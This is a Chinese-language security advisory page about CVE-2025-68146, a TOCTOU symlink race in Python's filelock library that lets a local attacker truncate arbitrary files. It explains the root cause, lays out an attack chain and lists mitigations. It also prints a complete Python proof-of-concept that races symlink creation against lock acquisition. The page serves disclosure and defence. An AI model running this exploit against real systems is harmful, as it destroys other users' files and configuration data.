IPBUF安全漏洞报告
English
CVE-2025-68146 CVSS 6.3 中危

CVE-2025-68146 filelock TOCTOU竞态条件导致文件截断漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-68146
漏洞类型
TOCTOU竞态条件 / 符号链接攻击
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
tox-dev/filelock (Python)

相关标签

TOCTOU竞态条件符号链接攻击文件截断本地提权filelockPythonCVE-2025-68146数据破坏O_TRUNC

漏洞概述

filelock是一款Python平台无关的文件锁库。在3.20.1之前的版本中,存在一处时序检查-使用时(TOCTOU)竞态条件漏洞,允许本地攻击者通过符号链接攻击破坏或截断任意用户文件。该漏洞影响Unix、Linux、macOS和Windows系统上的所有filelock用户。攻击者利用filelock在检查文件是否存在与使用O_TRUNC打开文件之间的时间窗口,在检查完成后、打开操作前插入指向目标文件的符号链接,从而导致os.open()跟随符号链接并截断目标文件。此漏洞还会级联影响依赖filelock的其他第三方库。攻击需要本地文件系统访问权限以及创建符号链接的能力(在Unix系统为标准用户权限,Windows 10+需要开发者模式)。当锁文件路径可预测时,1-3次尝试即可成功利用。

技术细节

漏洞根因在于filelock库在创建锁文件时的非原子操作序列。具体而言,UnixFileLock和WindowsFileLock实现在执行os.open()时先通过os.path.exists()检查目标路径是否已存在文件,然后才调用os.open(path, O_CREAT | O_RDWR | O_TRUNC)创建或打开锁文件。这两个操作之间存在明确的时间间隙。攻击者可以在此间隙中完成以下操作:(1) 删除或移动合法锁文件;(2) 在相同路径创建指向任意目标文件的符号链接。当os.open()执行时,O_TRUNC标志会导致目标文件被截断为零字节,从而造成数据破坏。由于文件锁通常用于保护关键配置文件(如数据库配置、凭据文件、应用状态文件等),此漏洞可被利用造成拒绝服务或数据丢失。漏洞影响filelock 3.0.0至3.20.0版本。修复方案通过在打开文件时使用O_NOFOLLOW标志防止跟随符号链接,或采用原子文件创建操作(如O_EXCL)消除竞态窗口。

攻击链分析

STEP 1
步骤1
攻击者在目标系统上创建符号链接,将预测的锁文件路径(如/tmp/race_lock.lock)指向受害者文件(如/etc/important.conf)
STEP 2
步骤2
受害者程序调用filelock的UnixFileLock或WindowsFileLock尝试获取锁,filelock首先通过os.path.exists()检查锁文件是否存在
STEP 3
步骤3
在os.path.exists()返回False之后、os.open()执行之前的TOCTOU时间窗口内,攻击者删除原有符号链接并重新创建指向目标文件的符号链接
STEP 4
步骤4
filelock调用os.open(path, O_CREAT | O_RDWR | O_TRUNC)打开锁文件,由于O_TRUNC标志和符号链接跟随,操作系统将截断符号链接指向的目标文件
STEP 5
步骤5
受害者文件被截断为零字节,导致配置文件丢失、数据破坏或应用程序拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68146 PoC: filelock TOCTOU Race Condition leading to File Truncation Affected: filelock < 3.20.1 Author: Security Researcher Note: This PoC is for educational and authorized testing purposes only. """ import os import time import threading import tempfile from filelock import UnixFileLock TARGET_FILE = "/tmp/victim_target.txt" LOCK_FILE = "/tmp/race_lock.lock" def setup(): """Create the victim target file with some content.""" with open(TARGET_FILE, 'w') as f: f.write("IMPORTANT DATA - DO NOT DELETE\n" * 100) print(f"[+] Created target file: {TARGET_FILE}") print(f" Initial size: {os.path.getsize(TARGET_FILE)} bytes") def attacker_symlink_race(): """ Attacker thread: Continuously creates symlink from LOCK_FILE to TARGET_FILE during the TOCTOU window between os.path.exists() check and os.open() call. """ for _ in range(50): # Retry to hit the race window try: if os.path.exists(LOCK_FILE): os.remove(LOCK_FILE) # Create symlink pointing to the victim file os.symlink(TARGET_FILE, LOCK_FILE) except FileExistsError: os.remove(LOCK_FILE) os.symlink(TARGET_FILE, LOCK_FILE) except FileNotFoundError: pass time.sleep(0.0001) # Fast retry to hit the race condition def victim_lock_operation(): """ Victim operation: filelock tries to acquire a lock. The TOCTOU gap allows symlink to be inserted between check and open. """ try: lock = UnixFileLock(LOCK_FILE, timeout=1) with lock: print("[*] Lock acquired successfully") except Exception as e: print(f"[!] Lock operation failed: {e}") def verify_result(): """Check if the target file was truncated.""" size = os.path.getsize(TARGET_FILE) print(f"\n[+] Target file final size: {size} bytes") if size == 0: print("[!!!] VULNERABLE: Target file was TRUNCATED to 0 bytes!") print("[!!!] TOCTOU race condition confirmed.") return True else: print("[-] Target file not truncated (race not won this time).") print("[-] Try running multiple iterations.") return False def cleanup(): """Clean up created files.""" for f in [TARGET_FILE, LOCK_FILE]: if os.path.exists(f) or os.path.islink(f): os.remove(f) def main(): print("=" * 60) print("CVE-2025-68146 - filelock TOCTOU Race Condition PoC") print("=" * 60) cleanup() setup() # Run the race multiple times for attempt in range(5): print(f"\n--- Attempt {attempt + 1} ---") cleanup() setup() # Start attacker thread attacker_thread = threading.Thread(target=attacker_symlink_race) attacker_thread.daemon = True attacker_thread.start() # Small delay to let attacker set up symlinks time.sleep(0.001) # Trigger victim lock operation victim_lock_operation() attacker_thread.join(timeout=0.1) if verify_result(): print("\n[!] Exploit successful!") break cleanup() print("\n[*] Test completed.") if __name__ == "__main__": main()

影响范围

filelock < 3.20.1 (all versions from 3.0.0 to 3.20.0)

防御指南

临时缓解措施
如果无法立即升级到filelock 3.20.1,可临时使用SoftFileLock替代UnixFileLock/WindowsFileLock(注意:SoftFileLock具有不同的锁定语义,可能不适合所有使用场景);同时确保锁文件目录权限设置为0700,防止不受信任用户创建符号链接;或监控锁文件目录中的可疑符号链接。但以上临时措施仅提供部分缓解,竞态条件仍然存在,强烈建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表